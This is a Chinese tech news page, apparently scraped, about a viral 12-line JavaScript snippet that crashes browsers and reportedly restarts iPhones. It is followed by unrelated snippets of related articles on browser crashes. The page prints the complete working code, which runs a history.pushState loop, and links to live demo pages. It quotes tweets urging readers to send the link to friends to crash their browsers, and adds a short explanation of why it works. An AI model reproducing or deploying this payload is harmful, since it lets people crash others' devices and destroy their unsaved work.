浏览器崩溃

神秘12行代码:分分钟让你电脑崩溃手机重启

最近,一段神秘的12行代码在国外社交网络上火了起来,据说能让你的浏览器瞬间崩溃,iPhone秒重启。到底是什么代码这么神奇?

上周,国外网友Cyber [email protected]__sec在Twitter上发布了这样一段推文:

“使用下面这段javascript代码,能让Firefox、Chrome、Safari浏览器崩溃,还能让iPhone重启”。

事实上,更早的时候,IT Security Tweets @F1r3h4nd也发布类似的内容:

“把下面这个脚本链接发送给你的朋友,搞瘫他的浏览器,让他的iPhone重启。”

喏,就是下面这段代码:

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{
    total= total+i.toString ();

history.pushState (0,0,total);

}

</script>

</body>

</html>

还有人专门做成了链接:http://www.0xroot.cn/demo.html(不怕死的可以试试,请提前保存好浏览器内容

网友验证,如果是PC用户,内存使用率一路狂飙,浏览器会瞬间卡死;如果是手机用户,点开链接浏览器会闪退,而微博、微信内打开链接同样会闪退。如果是iPhone用户使用Safari打开之后链接,手机重启。

为什么会这样呢?

有知乎网友给出这样的解答:

“history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。”

时间: 2024-12-15 00:32:30

浏览器崩溃的相关文章

这几行 javascript 代码能让你的浏览器崩溃?

先上Demo,有兴趣的可以先试一下: http://www.zeakhold.com/crash/ (温馨提示:访问前请保存好浏览器其他窗口的任务,整人被打概不负责嘿嘿~) 事情还是得从 IT Security Tweets ™   的一篇推文说起: 也就是说,这段 javascript 代码,能让浏览器崩溃并且能让iPhone重启?! 于是打开电脑跃跃欲试,当满怀好奇地在浏览器上执行了这段代码后发现: Chrome 立马陷入了卡死的状态,更要命的是点击关闭窗口没响应!! 打开任务管理器,发现C

能够让浏览器崩溃的12行代码

起因 今天刷推特的时候发现Cyber [email protected]__sec的推文让人眼前一亮: Crash firefox, chrome, safari browsers, and also restart iphone using this javascript code. #dos #0day #exploit //使用以下这段JavaScript代码能让firefox,chrome.safari浏览器崩溃,并且还能让iphone重新启动. 继续在推特上深挖发现IT Securit

奇怪的iphone6 plus,H5调用拍照浏览器崩溃

自从开发H5,就不断被各种手机的怪现象打败. 一个非常简单的页面,需要上传照片,H5实现这个功能超easy,直接在页面写入 <input type='file'> 点击这个input,便可呼叫出拍照功能.拍照.压缩.显示.上传.... 狗血的事情发生在6plus上,使用拍照功能,时不时就会导致浏览器崩溃.测试了4台手机,出现的频率相当大.这就是高富帅的6p?

网站导致浏览器崩溃的原因总结(多款浏览器)

面试某公司的时候,面试官问到,导致浏览器崩溃的原因有哪些?愚辈不才,仅回答出了内存泄漏.其实在网页在装载的过程中,常常由于种种原因使浏览器的反映变的很慢,或造成浏览器失去响应,甚至会导致机器无法进行其他的操作. 对于访客,如果登录您网站,浏览器就立刻崩溃,我想这对谁都是无法容忍的,对此总结了网站导致浏览器崩溃的原因: 1. 内存泄漏 还是先谈下内存泄漏,网站由于内存泄漏的而照成崩溃有两种情况,服务器的崩溃和浏览器的崩溃.内存泄漏所造成的问题是显而易见的,它使得已分配的内存的引用就会丢失,只要系统

使用jquery的$.post()时浏览器崩溃

代码: function verifyStepOne() { var phoneNumber = $("#phoneNumber"); var username = $("#username"); var password = $("#password"); var verifyCode = $("#verifyCode"); var errorInfo = $("#errorInfo"); if(!pho

jquery uploadify上传文件插件导致浏览器崩溃问题解决方法

自谷歌浏览器更新到(版本39.0.2171.99 )后,访问上传文件界面浏览器就崩溃了,而其他的浏览器不会出现问题. 出现这种问题的原因就是谷歌浏览器缓存问题,但将访问该jsp页面路径添加上时间戳后无法解决问题,将界面引入uploadify.js中也添加了个随机变量还是不行.最后将引入js换成下面形式就解决了: 代码如下: [javascript] view plaincopyprint? document.write("<script type='text/javascript' &qu

解决Shockwave flash在chrome该浏览器崩溃

越来越多的人开始使用chrome浏览器,很多用户都遇到过flash崩溃.有时重启chrome为了解决,有时不可能使用chrome无论打开什么网站是什么flash.这个问题是非常小的Firefox或IE发生,其原因是,除了chrome件,比方adobe的.而仅仅有chrome除了使用第三方插件之外,自身还内置了一个flash播放器.chrome的非常多这种功能设计使得它在速度,效率,外观,使用方便性上面胜出它的竞争对手.但也带来一些小问题,比方两个版本号的flash播放器一旦出现冲突,就会出现下图

解决chrome浏览器崩溃,再次安装不上问题

上网重新下载了个安装包,发现安装包都打不来 很绝望,查了很多资料 很多人说要删除注册表的东西 但是打开注册表,发现一堆google的东西,手动删根本不现实 在绝望中看到了解决方案:google Update才是安装包打不开的元凶!!!! https://jingyan.baidu.com/article/8065f87fe2fd32233124982f.html -------------------------------------------------------------------

2020终于解决Chrome浏览器“崩溃啦”的问题!

Google的chrome莫名其妙突然所有页面都显示"喔唷 崩溃啦",各种插件在右下角弹出报错!这个问题我之前遇到过一次,后来通过改快捷方式的名字解决了.可是这次,隔离回来上班,打开电脑,又一次出现这种现象.折腾了一上午,各种方法都试过了,最后终于解决了. 尝试失败的方法 网上虽然有很多回答,但历史悠久,有可能之前这些方法确实有用,但现在对我统统不管用!为防止后人踩坑,不要耽误太多时间,我简单说下哪些方法不可行.不过这种是对我的情况(win10 64bit),当然你也可以尝试,或许对你